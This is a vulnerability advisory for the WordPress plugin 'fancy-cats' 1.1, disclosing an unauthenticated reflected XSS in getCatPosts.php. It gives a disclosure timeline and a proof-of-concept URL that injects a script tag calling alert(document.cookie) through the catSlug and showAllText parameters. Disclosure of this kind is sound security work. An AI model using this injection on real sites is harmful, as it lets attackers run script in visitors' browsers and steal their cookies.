wp-plugin : fancy-cats | Code Vigilant : to err is human.. To fix is Humanity

Wp Plugin Fancy Cats

Plugin Details

Plugin Name: wp-plugin : fancy-cats

Effected Version : 1.1 (and most probably lower version's if any)

Vulnerability : Cross-Site Scripting (XSS)

Minimum Level of Access Required : Unauthenticated

CVE Number :

Identified by : Anantshri

WPScan Reference URL

Disclosure Timeline

January 4, 2014: Vendor Contacted
July 7, 2014 : Public Disclosure

Technical Details

http://localhost/wp-content/plugins/fancy-cats/getCatPosts.php?catSlug=catSlug'><script>alert(document.cookie)</script>&catId=catId&showAllText=showAllText'><script>alert(document.cookie)</script>&

Vulnerable Parameter : catSlug, showAllText

Type of XSS : Reflected